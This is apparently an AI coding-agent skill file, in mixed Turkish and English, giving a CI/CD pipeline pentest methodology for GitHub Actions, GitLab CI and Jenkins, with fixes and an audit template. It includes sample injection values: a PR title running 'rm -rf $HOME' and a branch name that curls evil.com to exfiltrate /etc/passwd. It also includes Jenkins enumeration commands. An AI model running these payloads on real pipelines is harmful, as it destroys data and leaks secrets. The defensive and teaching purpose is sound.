Pentest Cicd

---
name: pentest-cicd
description: CI/CD red team methodology — GitHub Actions, GitLab CI, Jenkins pipeline guvenlik analizi, secret leak, workflow injection advisory. Triggers on CI/CD pentest, GitHub Actions security, GitLab CI, Jenkins, pipeline injection, workflow injection, secret leak, OIDC abuse, runner takeover, supply chain.
license: MIT
compatibility: Works with Claude Code
allowed-tools: Read Write Edit Bash Grep
metadata:
  author: badi
  badi-version: ">=1.24.0"
  category: pentest
  scope: advisory
  inspired-by: 0xSteph/pentest-ai-agents cicd-redteam
---

# pentest-cicd

CI/CD pipeline saldiri yuzeyi advisory. Yetkili engagement icinde repository erisimi varsayar.

## Triggers

- "CI/CD pentest"
- "GitHub Actions zafiyet"
- "GitLab CI test"
- "Jenkins guvenlik"
- "workflow injection"
- "OIDC token abuse"
- "supply chain pentest"

## Saldiri Yuzeyi Haritasi

| Bilesen | Yaygin Zafiyet |
|---------|----------------|
| Source repo | Secret leak (env, .pem, .key) |
| Workflow file | Injection via PR title, comment, branch name |
| Runner | Self-hosted runner takeover |
| Secret store | Env var sizintisi log'da |
| OIDC trust | Cloud provider'a yetki sizintisi |
| Action marketplace | Compromised 3rd party action |
| Artifact | Build artifact'i exfil veya degistir |
| Cache | Cache poisoning (sonraki build alir) |

## GitHub Actions Spesifik

### Yaygin Injection Pattern

```yaml
# UNSAFE — PR title icine ${{ kod }} -> shell injection
- run: echo "Processing PR: ${{ github.event.pull_request.title }}"

# Saldiri: PR title = `";rm -rf $HOME ;echo "`
# Calisan komut: echo "Processing PR: ";rm -rf $HOME ;echo ""

# SAFE
- run: echo "Processing PR: $TITLE"
  env:
    TITLE: ${{ github.event.pull_request.title }}
```

### `pull_request_target` Zafiyeti

```yaml
# UNSAFE — fork PR ile secrets erisilebilir
on: pull_request_target
jobs:
  test:
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # fork code calistirir
      - run: npm install                                  # fork malicious npm script
```

Detect:
- `pull_request_target` + checkout `head.sha` = HIGH risk
- `pull_request_target` + secret kullanim = HIGH risk

### Self-Hosted Runner Takeover

- Public repo + self-hosted runner: anyone can register job
- Fix: organization-level allowlist, ephemeral runner (single job)

### OIDC Trust Misconfig

```yaml
# AWS role trust policy
{
  "Condition": {
    "StringEquals": {
      "token.actions.githubusercontent.com:sub": "repo:org/repo:*"   # cok genis
    }
  }
}
```

Fix: `:ref:refs/heads/main` spesifik branch, `:environment:production` spesifik env.

## GitLab CI Spesifik

```yaml
# UNSAFE — predefined variable injection
script:
  - echo "Branch: ${CI_COMMIT_BRANCH}"

# Saldiri: branch name = `"; curl evil.com/xfil?d=$(cat /etc/passwd); echo "`
```

- `CI_JOB_TOKEN` abuse: cross-project pipeline trigger
- `before_script` global override
- Compliance pipeline by-pass (mr-only checks bypass with detached pipeline)

## Jenkins Spesifik

```bash
# Anonymous Jenkins enumeration (QUIET)
curl https://jenkins.example.com/api/json
curl https://jenkins.example.com/script  # Groovy console anonymous

# Pipeline definition injection
# Branch name / build parameter Groovy script context
```

- Script Approval bypass
- Pipeline shared library compromise (npm/git supply chain)
- Credentials plugin: master key + decryption

## Secret Leak Detection

```bash
# Git history scan (truffleHog v3)
trufflehog git https://github.com/<org>/<repo> --only-verified

# Gitleaks
gitleaks detect --source . --report-path report.json

# detect-secrets (yelp)
detect-secrets scan --all-files > .secrets.baseline
```

## Workflow File Audit

Skill audit komutu (recursive scan):

```bash
# Tum .github/workflows/*.yml dosyalarinda risk patterni:
grep -rE "pull_request_target|github.event.(issue|pull_request).body|github.event.(issue|pull_request).title|github.head_ref|github.event.workflow_run" .github/workflows/

# Sonra her hit manuel analiz et: shell context'inde mi
```

## Output Sablonu

```markdown
## CI/CD Pentest — <repo>

### Bulgu
- [CRITICAL] .github/workflows/lint.yml — pull_request_target + checkout head.sha
  -> Fork PR malicious code production secrets'a erisir
- [HIGH] AWS OIDC trust "repo:org/*:*" — herhangi bir branch admin role
- [MEDIUM] gitleaks: 3 expired AWS key git history'de
- [LOW] Self-hosted runner public repo'da (org allowlist eksik)

### Onerisi
- pull_request_target sadece read-only workflow (test, lint) + script env-isolated
- OIDC sub claim spesifiklestir
- Truffle/gitleaks pre-commit hook
- Runner ephemeral mode (actions/runner --ephemeral)
```

## Out-of-Scope

- Production deploy disruption (engagement disinda kalir)
- 3. taraf action repo'larina supply chain attack denemesi
- DoS pipeline (limit asma)